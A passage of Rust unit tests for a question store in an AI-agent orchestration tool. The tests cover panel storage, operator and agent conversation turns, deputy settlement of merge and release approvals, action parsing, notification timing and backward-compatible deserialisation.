3555        assert_eq!(s.list().len(), ids.len());
3556        for (id, summary, html) in ids {
3557            assert_eq!(s.get(&id).unwrap().summary, summary);
3558            assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3559        }
3560    }
3561
3562    #[test]
3563    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3564        let (dir, s) = store();
3565        std::fs::write(dir.path().join("old.png"), "old").unwrap();
3566        std::fs::write(dir.path().join("new.png"), "new").unwrap();
3567
3568        let mut q = panelled();
3569        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3570            .unwrap();
3571        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3572            .unwrap();
3573
3574        assert_eq!(q.assets, ["new.png"]);
3575        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3576        assert!(
3577            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3578            "an asset from the first attempt would show a mix of two answers"
3579        );
3580
3581        s.drop_panel(&q.id).unwrap();
3582        assert!(s.panel_html(&q.id).is_none());
3583        assert!(!s.panel_dir(&q.id).exists());
3584        s.drop_panel(&q.id)
3585            .expect("dropping a panel that is already gone is the desired state");
3586    }
3587
3588    #[test]
3589    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3590        let (_dir, s) = store();
3591        let mut q = panelled();
3592        s.put(&mut q).unwrap();
3593
3594        assert!(!q.panel);
3595        assert!(s.panel_html(&q.id).is_none());
3596        assert!(
3597            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3598            "a missing file is a 404 for the caller, not a failure of the store"
3599        );
3600        let json = serde_json::to_value(&q).unwrap();
3601        assert_eq!(json["panel"], false);
3602        assert_eq!(json["assets"], serde_json::json!([]));
3603
3604        // And an empty panel is refused, because an empty frame reads to the
3605        // owner as "the agent had nothing to say".
3606        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
3607        assert!(e.contains("empty panel"), "{e}");
3608        assert!(!s.panel_dir(&q.id).exists());
3609    }
3610
3611    #[test]
3612    fn a_question_written_before_panels_existed_still_deserialises() {
3613        let (_dir, s) = store();
3614        std::fs::create_dir_all(s.root()).unwrap();
3615        let id = "20260902-231501-ab12";
3616        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
3617        let body = r#"{
3618  "schema": 1,
3619  "id": "20260902-231501-ab12",
3620  "run": "20260902-201256-9fb7",
3621  "node": "implement",
3622  "seat": "impl-A",
3623  "summary": "Which storage backend should the cache use?",
3624  "detail": "Both are already dependencies.",
3625  "choices": ["SQLite", "Redis"],
3626  "status": "open",
3627  "asked_at": "2026-09-02T23:15:01Z",
3628  "answered_at": null,
3629  "answer": null
3630}"#;
3631        std::fs::write(s.path_of(id), body).unwrap();
3632
3633        let q = s.get(id).unwrap();
3634        assert!(
3635            !q.panel,
3636            "an absent field means no panel, not a parse error"
3637        );
3638        assert!(q.assets.is_empty());
3639        // Schema 1 predates `thread` entirely - not merely predates it having
3640        // any turns - and this build now speaks schema 3. Reading it must not
3641        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3642        // accepted and the missing field defaults to no conversation yet.
3643        assert_eq!(q.schema, 1);
3644        assert!(q.thread.is_empty());
3645        assert_eq!(
3646            q.answer_timeout, 0,
3647            "an absent field means unrecorded, not a zero-second deadline"
3648        );
3649        assert!(!q.waiting_on_agent());
3650        assert_eq!(q.summary, "Which storage backend should the cache use?");
3651        assert_eq!(
3652            s.list().len(),
3653            1,
3654            "and it is still listed; skipping it would hide an open question"
3655        );
3656    }
3657
3658    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3659        Turn {
3660            who,
3661            body: body.to_owned(),
3662            at,
3663            note: None,
3664        }
3665    }
3666
3667    #[test]
3668    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3669        // The phone reads this shape by hand, same as the question itself: a
3670        // rename here is a card that silently drops every message in it.
3671        let mut q = choice_question();
3672        q.thread
3673            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3674        let value = serde_json::to_value(&q.thread[0]).unwrap();
3675        let mut keys: Vec<&str> = value
3676            .as_object()
3677            .unwrap()
3678            .keys()
3679            .map(String::as_str)
3680            .collect();
3681        keys.sort_unstable();
3682        assert_eq!(keys, ["at", "body", "who"]);
3683        assert_eq!(value["who"], "operator");
3684        assert_eq!(value["body"], "why not Postgres?");
3685
3686        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3687        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3688        assert_eq!(parsed.who, Who::Agent);
3689    }
3690
3691    fn approval_question() -> Question {
3692        let mut q = Question::new(
3693            "run".into(),
3694            crate::land::APPROVAL_NODE.into(),
3695            "land".into(),
3696            "Merge?".into(),
3697            String::new(),
3698            vec!["merge".into(), "hold".into()],
3699        );
3700        let mut dep = Deputy::new("brief".into());
3701        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3702        q.deputy = Some(dep);
3703        q
3704    }
3705
3706    #[test]
3707    fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3708        let target = || crate::merge_decision::Target {
3709            pr: "PR 42".into(),
3710            head: "abc".into(),
3711            language: "en".into(),
3712        };
3713        // A merge among other requests: the deputy's reading is the authority.
3714        let mut q = approval_question();
3715        q.merge_target = Some(target());
3716        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3717            .unwrap();
3718        q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3719            .unwrap();
3720        assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3721        assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3722        // Recovery and stop choices need no exact token either.
3723        for choice in [
3724            crate::land::HOLD,
3725            crate::land::REPAIR,
3726            crate::merge_decision::WITHDRAW,
3727            "reimplement:beta",
3728        ] {
3729            let mut q = approval_question();
3730            q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3731            q.merge_target = Some(target());
3732            q.say("ちょっと待って、そっちでお願い").unwrap();
3733            q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3734                .unwrap();
3735            assert_eq!(q.resolution().as_deref(), Some(choice));
3736        }
3737        // A local release approval settles the same way.
3738        let mut release = Question::new(
3739            String::new(),
3740            crate::bump::NOTICE_NODE.into(),
3741            "release-watch".into(),
3742            "Release?".into(),
3743            String::new(),
3744            vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3745        );
3746        release.deputy = approval_question().deputy;
3747        release.say("リリースしていいよ").unwrap();
3748        release
3749            .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3750            .unwrap();
3751        assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3752    }
3753
3754    #[test]
3755    fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3756        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3757        for choice in [POST_ORIGINAL, USE_REWRITE] {
3758            let mut q = Question::new(
3759                "run".into(),
3760                ASK_NODE.into(),
3761                ASK_SEAT.into(),
3762                "s".into(),
3763                String::new(),
3764                vec![USE_FALLBACK.into(), choice.into()],
3765            );
3766            q.deputy = approval_question().deputy;
3767            q.say("それでいいよ、投稿して").unwrap();
3768            q.settle_by_deputy("deputy-x", choice, None).unwrap();
3769            assert_eq!(q.resolution().as_deref(), Some(choice));
3770        }
3771        let mut discard = approval_question();
3772        discard.node = "recovery".into();
3773        discard.choices.push("discard".into());
3774        discard.actions.insert("discard".into(), ChoiceAction::Done);
3775        discard.say("おっけーそれぞれ回答してー").unwrap();
3776        discard
3777            .settle_by_deputy("deputy-x", "discard", None)
3778            .unwrap();
3779        assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3780    }
3781
3782    #[test]
3783    fn hold_may_carry_the_hold_effect_but_no_other_action() {
3784        let mut q = choice_question();
3785        q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3786        q.actions
3787            .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3788        q.clone()
3789            .answer(Answer::Choice(crate::land::HOLD.into()))
3790            .unwrap();
3791        q.actions
3792            .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3793        assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3794    }
3795
3796    fn settle_ready() -> Question {
3797        let mut q = Question::new(
3798            "task".to_owned(),
3799            "conduct".to_owned(),
3800            "conduct".to_owned(),
3801            "Done?".to_owned(),
3802            String::new(),
3803            vec!["yes".to_owned(), "no".to_owned()],
3804        );
3805        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3806        seat.turns = 1;
3807        let mut dep = Deputy::new("brief".to_owned());
3808        dep.seat = Some(seat);
3809        q.deputy = Some(dep);
3810        q.say("setup done, and file a follow-up").unwrap();
3811        q
3812    }
3813
3814    #[test]
3815    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3816        let dir = tempfile::TempDir::new().unwrap();
3817        let store = Questions::at(dir.path().join("questions"));
3818        let mut q = settle_ready();
3819        let id = q.id.clone();
3820        store.put(&mut q).unwrap();
3821        store
3822            .update(&id, |q| {
3823                q.settle_by_deputy("deputy-x", "yes", Some("  no follow-up was queued  "))
3824            })
3825            .unwrap();
3826        let back = store.get(&id).unwrap();
3827        let turn = back.thread.last().unwrap();
3828        assert_eq!(turn.who, Who::Agent);
3829        assert!(turn.body.starts_with("Settled as `yes`"));
3830        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3831        assert_eq!(back.thread[0].note, None);
3832    }
3833
3834    #[test]
3835    fn an_empty_or_blank_settle_note_is_no_note() {
3836        for note in [None, Some(""), Some("  \n ")] {
3837            let mut q = settle_ready();
3838            q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3839            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3840            let json = serde_json::to_string(&q).unwrap();
3841            assert!(!json.contains("\"note\""), "no key when there is none");
3842        }
3843    }
3844
3845    #[test]
3846    fn a_refused_settle_leaves_no_note_behind() {
3847        let mut q = settle_ready();
3848        let before = q.thread.clone();
3849        assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3850        assert!(
3851            q.settle_by_deputy("someone-else", "yes", Some("n"))
3852                .is_err()
3853        );
3854        assert_eq!(q.thread, before);
3855        assert_eq!(q.status, QuestionStatus::Open);
3856    }
3857
3858    #[test]
3859    fn a_turn_written_before_notes_existed_still_reads() {
3860        let t: Turn =
3861            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3862                .unwrap();
3863        assert_eq!(t.note, None);
3864    }
3865
3866    #[test]
3867    fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3868        let mut q = Question::new(
3869            "task".to_owned(),
3870            "conduct".to_owned(),
3871            "conduct".to_owned(),
3872            "Done?".to_owned(),
3873            String::new(),
3874            vec!["yes".to_owned(), "no".to_owned()],
3875        );
3876        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3877        seat.turns = 1;
3878        let mut dep = Deputy::new("brief".to_owned());
3879        dep.seat = Some(seat);
3880        q.deputy = Some(dep);
3881        q.say("setup done, go ahead").unwrap();
3882
3883        assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3884        assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3885        let mut routed = q.clone();
3886        routed.routed_task = Some("task".into());
3887        assert!(
3888            routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3889            "a routed decision belongs to the task chat"
3890        );
3891        assert_eq!(q.status, QuestionStatus::Open);
3892
3893        q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3894        assert_eq!(q.status, QuestionStatus::Answered);
3895        assert_eq!(q.resolution().as_deref(), Some("yes"));
3896        let last = q.thread.last().unwrap();
3897        assert_eq!(last.who, Who::Agent);
3898        assert!(last.body.starts_with("Settled as `yes`"));
3899        let turns = q.thread.len();
3900        assert!(
3901            q.settle_by_deputy("deputy-x", "no", None).is_err(),
3902            "a settled question is not settled twice"
3903        );
3904        assert_eq!(q.thread.len(), turns);
3905    }
3906
3907    #[test]
3908    fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3909        let q = choice_question();
3910        let mut v = serde_json::to_value(&q).unwrap();
3911        v["answer_authority"] = serde_json::json!({
3912            "talk": "talk", "turn": 0, "message": 0,
3913            "instruction": "id: use my text fp\nA title",
3914            "instruction_fingerprint": "f", "recommendation_turn": null,
3915            "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3916            "question_fingerprint": "g", "recovery_interpretation": "r"
3917        });
3918        let back: Question = serde_json::from_value(v).unwrap();
3919        let legacy = back.answer_authority.as_ref().unwrap();
3920        assert_eq!(legacy.question, q.id);
3921        assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3922        // A re-save keeps what an old pending `use my text` answer needs, and
3923        // nothing else of the old evidence.
3924        let written = serde_json::to_value(&back).unwrap();
3925        assert_eq!(
3926            written["answer_authority"],
3927            serde_json::json!({
3928                "question": q.id, "choice": "SQLite",
3929                "instruction": "id: use my text fp\nA title"
3930            })
3931        );
3932        let again: Question = serde_json::from_value(written).unwrap();
3933        assert_eq!(again.answer_authority, back.answer_authority);
3934        assert!(
3935            serde_json::to_value(&q)
3936                .unwrap()
3937                .get("answer_authority")
3938                .is_none()
3939        );
3940    }
3941
3942    #[test]
3943    fn a_question_written_before_deputies_still_reads() {
3944        let mut q = Question::new(
3945            "task".to_owned(),
3946            "conduct".to_owned(),
3947            "conduct".to_owned(),
3948            "Done?".to_owned(),
3949            String::new(),
3950            Vec::new(),
3951        );
3952        q.schema = 4;
3953        let mut v = serde_json::to_value(&q).unwrap();
3954        v.as_object_mut().unwrap().remove("deputy");
3955        let back: Question = serde_json::from_value(v).unwrap();
3956        assert!(back.deputy.is_none());
3957    }
3958
3959    #[test]
3960    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3961        let mut q = choice_question();
3962        q.say("does the cache need eviction?").unwrap();
3963        assert_eq!(q.thread.len(), 1);
3964        assert_eq!(q.thread[0].who, Who::Operator);
3965        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3966        // Speaking is not deciding: the status and the answer are untouched,
3967        // which is the whole point of the round trip existing at all.
3968        assert_eq!(q.status, QuestionStatus::Open);
3969        assert!(q.answer.is_none());
3970        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3971    }
3972
3973    #[test]
3974    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3975        let mut answered = choice_question();
3976        answered
3977            .answer(Answer::Choice("SQLite".to_owned()))
3978            .unwrap();
3979        let a = answered.say("still there?").unwrap_err().to_string();
3980        assert!(a.contains("already answered"), "{a}");
3981        let b = answered
3982            .reply("still there?", vec![])
3983            .unwrap_err()
3984            .to_string();
3985        assert!(b.contains("already answered"), "{b}");
3986
3987        let mut abandoned = choice_question();
3988        abandoned.abandon("timed out");
3989        let c = abandoned.say("hello?").unwrap_err().to_string();
3990        assert!(c.contains("abandoned"), "{c}");
3991
3992        let mut open = choice_question();
3993        let d = open.say("   ").unwrap_err().to_string();
3994        assert!(d.contains("empty"), "{d}");
3995        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3996        assert!(e.contains("empty"), "{e}");
3997        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3998    }
3999
4000    #[test]
4001    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
4002        let mut q = choice_question();
4003        q.say("SQLite or Redis, but what about disk space?")
4004            .unwrap();
4005        assert!(q.waiting_on_agent());
4006
4007        q.reply(
4008            "SQLite: it is one file, no server to run.",
4009            vec!["SQLite".to_owned()],
4010        )
4011        .unwrap();
4012
4013        assert_eq!(q.choices, ["SQLite"]);
4014        assert!(
4015            !q.waiting_on_agent(),
4016            "the agent spoke, so the owner is the one being waited on now"
4017        );
4018        assert_eq!(q.thread.len(), 2);
4019        assert_eq!(q.thread[1].who, Who::Agent);
4020
4021        // The new choice set is what a subsequent answer is checked against.
4022        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
4023        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4024        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
4025    }
4026
4027    #[test]
4028    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
4029        let mut fresh = choice_question();
4030        assert!(
4031            fresh.should_notify(Timestamp::now()),
4032            "nobody has been notified yet, so the first ask always pages"
4033        );
4034
4035        fresh.say("why not Postgres?").unwrap();
4036        let just_said = fresh.thread[0].at;
4037        assert!(
4038            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
4039            "still on the screen a minute later; no need to page again"
4040        );
4041        assert!(
4042            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
4043            "exactly the window: `>` means this side stays quiet"
4044        );
4045        assert!(
4046            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
4047            "past the window: they may have walked away"
4048        );
4049    }
4050
4051    #[test]
4052    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
4053        let (_dir, s) = store();
4054        let mut q = choice_question();
4055        s.put(&mut q).unwrap();
4056        q.say("why not Postgres?").unwrap();
4057        s.put(&mut q).unwrap();
4058        q.reply("no server to run", vec!["SQLite".to_owned()])
4059            .unwrap();
4060        s.put(&mut q).unwrap();
4061
4062        assert_eq!(
4063            s.count_open(),
4064            1,
4065            "one question that talked twice is still one open question"
4066        );
4067        assert_eq!(s.open_for(&q.run).len(), 1);
4068    }
4069
4070    #[tokio::test]
4071    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
4072        let (dir, s) = store();
4073        let mut q = choice_question();
4074        let id = q.id.clone();
4075        let writer = Questions::at(dir.path().join("questions"));
4076        let handle = tokio::spawn(async move {
4077            tokio::time::sleep(Duration::from_millis(30)).await;
4078            let mut fresh = writer.get(&id).expect("the question was filed first");
4079            fresh.say("why not Postgres?").unwrap();
4080            writer.put(&mut fresh).unwrap();
4081        });
4082
4083        let got = wait_for_owner(
4084            &mut q,
4085            &s,
4086            &quiet(),
4087            Duration::from_secs(5),
4088            Duration::from_millis(10),
4089        )
4090        .await
4091        .unwrap();
4092
4093        handle.await.unwrap();
4094        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
4095        assert_eq!(
4096            q.status,
4097            QuestionStatus::Open,
4098            "talking back is not a decision; the question stays open"
4099        );
4100        assert!(q.answer.is_none());
4101    }
4102
4103    #[test]
4104    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
4105        let mut q = choice_question();
4106        q.say("A").unwrap();
4107        q.delivered_turns = q.thread.len();
4108        q.say("B").unwrap();
4109        q.reply("about A", vec![]).unwrap();
4110        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
4111        q.delivered_turns = q.thread.len();
4112        assert_eq!(q.unread_from_owner(), None);
4113    }
4114
4115    #[test]
4116    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
4117        let (_d, s) = store();
4118        let mut q = choice_question();
4119        s.put(&mut q).unwrap();
4120        q.say("first").unwrap();
4121        q.say("second").unwrap();
4122        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4123        s.put(&mut q).unwrap();
4124        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
4125        let mut out = Vec::new();
4126        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
4127        let shown = String::from_utf8(out).unwrap();
4128        let (a, b, c) = (
4129            shown.find("first").unwrap(),
4130            shown.find("second").unwrap(),
4131            shown.find("SQLite").unwrap(),
4132        );
4133        assert!(a < b && b < c, "{shown}");
4134        assert_eq!(q.delivered_turns, q.thread.len());
4135        assert!(q.answer_delivered);
4136    }
4137
4138    #[test]
4139    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
4140        let mut q = choice_question();
4141        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4142        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
4143        let mut q = choice_question();
4144        q.say("old").unwrap();
4145        q.delivered_turns = q.thread.len();
4146        q.say("new").unwrap();
4147        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4148        let shown = answer_for_agent(&q, "SQLite");
4149        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4150    }
4151
4152    #[test]
4153    fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
4154        let mut q = choice_question();
4155        q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
4156        q.actions.insert(
4157            q.choices[0].clone(),
4158            ChoiceAction::ResumeRun {
4159                run: "run-a".into(),
4160            },
4161        );
4162        q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
4163        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4164        assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
4165        assert!(
4166            q.resolve_reply("resume-run")
4167                .unwrap_err()
4168                .to_string()
4169                .contains("with offered choices")
4170        );
4171        assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
4172        assert!(
4173            q.resolve_reply("daemon: resume [resume run run-a]")
4174                .is_err()
4175        );
4176        q.actions.insert(
4177            q.choices[0].clone(),
4178            ChoiceAction::Resume {
4179                run: "run-a".into(),
4180            },
4181        );
4182        assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
4183        q.choices.push("another resume".into());
4184        q.actions.insert(
4185            "another resume".into(),
4186            ChoiceAction::Resume {
4187                run: "run-b".into(),
4188            },
4189        );
4190        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4191    }
4192
4193    #[test]
4194    fn recovery_aliases_require_a_unique_offered_structured_effect() {
4195        let mut q = choice_question();
4196        q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4197        for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4198            q.actions
4199                .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4200        }
4201        assert!(
4202            q.resolve_reply("再開")
4203                .unwrap_err()
4204                .to_string()
4205                .contains("ambiguous")
4206        );
4207        assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4208        q.choices.remove(1);
4209        assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4210        assert!(q.resolve_reply("resume run-b").is_err());
4211        assert!(q.resolve_reply("保留").is_err());
4212        assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4213        assert!(!ChoiceAction::Done.matches_alias("完了"));
4214    }
4215
4216    #[test]
4217    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4218        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4219        let ok = parse_actions(
4220            &[
4221                "resume で続行する=resume".to_owned(),
4222                "wait=done".to_owned(),
4223            ],
4224            &choices,
4225            "run-1",
4226        )
4227        .unwrap();
4228        assert_eq!(
4229            ok["resume で続行する"],
4230            ChoiceAction::Resume {
4231                run: "run-1".into()
4232            }
4233        );
4234        assert_eq!(ok["wait"], ChoiceAction::Done);
4235
4236        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4237        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4238        assert_eq!(
4239            ChoiceAction::parse("x=requeue", "").unwrap().1,
4240            ChoiceAction::Requeue
4241        );
4242
4243        assert_eq!(
4244            ChoiceAction::parse("x=hold", "").unwrap().1,
4245            ChoiceAction::Hold
4246        );
4247
4248        for bad in [
4249            "no-equals",
4250            "=done",
4251            "x=resume",
4252            "x=resume:",
4253            "x=explode",
4254            "x=done:1",
4255        ] {
4256            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4257        }
4258        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4259        assert!(
4260            parse_actions(
4261                &["wait=done".to_owned(), "wait=requeue".to_owned()],
4262                &choices,
4263                ""
4264            )
4265            .is_err()
4266        );
4267    }
4268
4269    #[test]
4270    fn only_a_chosen_label_with_an_action_is_actionable() {
4271        let mut q = choice_question();
4272        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4273        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4274        assert!(q.chosen_action().is_none(), "unanswered");
4275        q.answer(Answer::Choice("resume".to_owned())).unwrap();
4276        assert!(
4277            q.chosen_action().is_none(),
4278            "a label that merely reads like an action does nothing"
4279        );
4280
4281        let mut q2 = choice_question();
4282        q2.choices = vec!["SQLite".to_owned()];
4283        q2.actions
4284            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4285        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4286        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4287    }
4288
4289    #[test]
4290    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4291        let mut q = choice_question();
4292        q.choices = vec!["A".to_owned(), "B".to_owned()];
4293        q.actions.insert("A".to_owned(), ChoiceAction::Done);
4294        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4295        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4296        assert_eq!(q.actions.len(), 1);
4297        assert!(q.actions.contains_key("B"));
4298
4299        let mut v = serde_json::to_value(&q).unwrap();
4300        v.as_object_mut().unwrap().remove("actions");
4301        let old: Question = serde_json::from_value(v).unwrap();
4302        assert!(old.actions.is_empty());
4303    }
4304}